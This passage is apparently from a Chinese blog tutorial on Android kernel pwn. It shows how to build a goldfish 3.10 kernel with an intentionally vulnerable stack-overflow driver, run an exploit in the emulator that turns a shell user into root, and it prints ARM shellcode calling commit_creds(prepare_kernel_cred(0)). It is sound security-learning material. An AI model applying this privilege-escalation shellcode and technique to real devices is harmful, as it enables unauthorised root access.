Posted Updated 23 minutes read (About 3518 words)0 visits

从0开始学Linux内核之android内核栈溢出ROP利用

最近在研究一个最简单的android内核的栈溢出利用方法，网上的资料很少，就算有也是旧版内核的，新版的内核有了很大的不同，如果放在x86上本应该是很简单的东西，但是arm指令集有很大的不同，所以踩了很多坑

把上一篇改了一下名字，换成了从0开始学Linux内核，毕竟不是专业搞开发的，所以驱动开发没必要学那么深，只要会用，能看懂代码基本就够用了。本篇开始学Linux kernel pwn了，而内核能搞的也就是提权，而提权比较多人搞的就是x86和arm指令集的Linux系统提权了，arm指令集的基本都是安卓root和iOS越狱，而mips指令集的几乎没啥人在搞，感觉是应用场景少。

环境准备

android内核编译

下载相关源码依赖

android内核源码使用的是goldfish[1]，直接clone下来，又大又慢又久，在git目录下编译也麻烦，所以想搞那个版本的直接下那个分支的压缩包就好了

本文使用的工具的下载地址：

PS：git clone速度慢的话可以使用国内镜像加速：s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/

1
2
3
4
5
6
7
8
9
10
# 下载源码
$ wget https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz
$ tar zxf goldfish-android-goldfish-3.10.tar.gz
# 下载编译工具
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
# 下载一键编译脚本
$ git clone https://android.googlesource.com/platform/prebuilts/qemu-kernel/
# 只需要kernel-toolchain和build-kernel.sh
$ cp qemu-kernel/build-kernel.sh goldfish/
$ cp -r qemu-kernel/kernel-toolchain/ goldfish/

修改内核

学android kernel pwn最初看的是Github上的一个项目[3]，不过依赖的是旧内核，估计是android 3.4以下的内核，在3.10以上的有各种问题，所以我自己做了些修改，也开了一个Github源：https://github.com/Hcamael/android_kernel_pwn

对kernel源码有两点需要修改：

  1. 添加调试符号

首先需要知道自己要编译那个版本的，我编译的是32位Android内核，使用的是goldfish_armv7，配置文件在: arch/arm/configs/goldfish_armv7_defconfig

但是不知道为啥3.10里没有该配置文件，不过用ranchu也一样：

给内核添加调试符号，只需要在上面的这个配置文件中添加：CONFIG_DEBUG_INFO=y，如果是goldfish就需要自己添加，ranchu默认配置已经有了，所以不需要更改。

  1. 添加包含漏洞的驱动

目的是研究Android提权利用方法，所以是自己添加一个包含栈溢出的驱动，该步骤就是学习如何添加自己写的驱动

上面给了一个我的Github项目，把该项目中的vulnerabilities/目录复制到内核源码的驱动目录中：

1
$ cp vulnerabilities/ goldfish/drivers/

修改Makefile：

1
$ echo "obj-y += vulnerabilities/" >> drivers/Makefile

导入环境变量后，使用一键编译脚本进行编译：

1
2
$ export PATH=/root/arm-linux-androideabi-4.6/bin/:$PATH
$ ./build-kernel.sh --config="ranchu"

PS: 在docker中复现环境的时候遇到一个问题，可以参考：https://stackoverflow.com/questions/42895145/cross-compile-the-kernel

编译好后的内核在/tmp/qemu-kernel目录下，有两个文件，一个zImage，内核启动镜像，一个vmlinux是kernel的binary文件，丢ida里面分析内核，或者给gdb提供符号信息

Android模拟环境准备

内核编译好后，就是搞Android环境了，可以直接使用Android Studio[2]一把梭，但是如果不搞开发的话，感觉Studio太臃肿了，下载也要下半天，不过还好，官方提供了命令行工具，觉得Studio太大的可以只下这个

PS: 记得装java，最新版的java 11不能用，我用的是java 8

建一个目录，然后把下载的tools放到这个目录中

1
2
$ mkdir android_sdk
$ mv tools android_sdk/

首先需要使用tools/bin/sdkmanager装一些工具

1
2
3
4
5
6
7
8
9
# 用来编译android binary(exp)的，如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖，解决依赖太麻烦了，还是用ndk一把梭方便
$ ./bin/sdkmanager --install "ndk-bundle"
# android模拟器
$ ./bin/sdkmanager --install "emulator"
# avd
$ ./bin/sdkmanager --install "platforms;android-19"
$ ./bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"
# 其他
$ ./bin/sdkmanager --install "platform-tools"

PS：因为是32位的，所以选择的是armeabi-v7a
PSS: 我一共测试过19, 24, 25，发现在24,25中，自己写的包含漏洞的驱动只有特权用户能访问，没去仔细研究为啥，就先使用低版本的android-19了

创建安卓虚拟设备：

1
./bin/avdmanager create avd -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"

启动：

1
2
3
4
$ export kernel_path=ranchu_3.10_zImage
或者
$ export kernel_path=goldfish_3.10_zImage
$ ./emulator  -show-kernel -kernel $kernel_path -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu  -s

去测试下我写的exp：

1
2
$ cd ~/goldfish/drivers/vulnerabilities/stack_buffer_overflow/solution
$ ./build_and_run.sh

编译好了之后运行，记得要用普通用户运行：

1
2
3
4
5
6
7
8
9
shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
shell@generic:/ $ /data/local/tmp/stack_buffer_overflow_exploit
/data/local/tmp/stack_buffer_overflow_exploit
start
shell@generic:/ # id
id
uid=0(root) gid=0(root) context=u:r:kernel:s0

Android 内核提权研究

环境能跑通以后，就来说说我的exp是怎么写出来的。

首先说一下，我的环境都是来源于AndroidKernelExploitationPlayground项目[3]，但是实际测试的发现，该项目中依赖的估计是3.4的内核，但是现在的emulator要求内核版本大于等于3.10

从内核3.4到3.10有许多变化，首先，对内核的一些函数做了删减修改，所以需要改改驱动的代码，其次就是3.4的内核没有开PXN保护，在内核态可以跳转到用户态的内存空间去执行代码，所以该项目中给的exp是使用shellcode，但是在3.10内核中却开启了PXN保护，无法执行用户态内存中的shellcode

提权思路

搞内核Pwn基本都是一个目的——提权。那么在Linux在怎么把权限从普通用户变成特权用户呢？

一般提权的shellcode长这样：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"
);

这个shellcode提权的思路有三步：

  1. prepare_kernel_cred(0) 创建一个特权用户cred
  2. commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred
  3. MSR CPSR_c,R3 从内核态切换回用户态(详情自己百度这句指令和CPSR寄存器)

切换回用户态后，当前程序的权限已经变为root，这时候就可以执行/bin/sh

再继续深入研究，就涉及到内核的三个结构体：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ cat ./arch/arm/include/asm/thread_info.h
......
struct thread_info {
        ......
        struct task_struct      *task;          /* main task structure */
       ......
};
......
$ cat ./include/linux/sched.h
......
struct task_struct {
        ......
        const struct cred __rcu *real_cred;
        ......
};
......
$ cat ./include/linux/cred.h
......
struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key __rcu *session_keyring; /* keyring inherited over fork */
        struct key      *process_keyring; /* keyring private to this process */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};
......

每个进程都有一个单独thread_info结构体，我们来看看内核是怎么获取到每个进程的thread_info结构体的信息的：

1
2
3
4
5
6
7
#define THREAD_SIZE             8192
......
static inline struct thread_info *current_thread_info(void)
{
        register unsigned long sp asm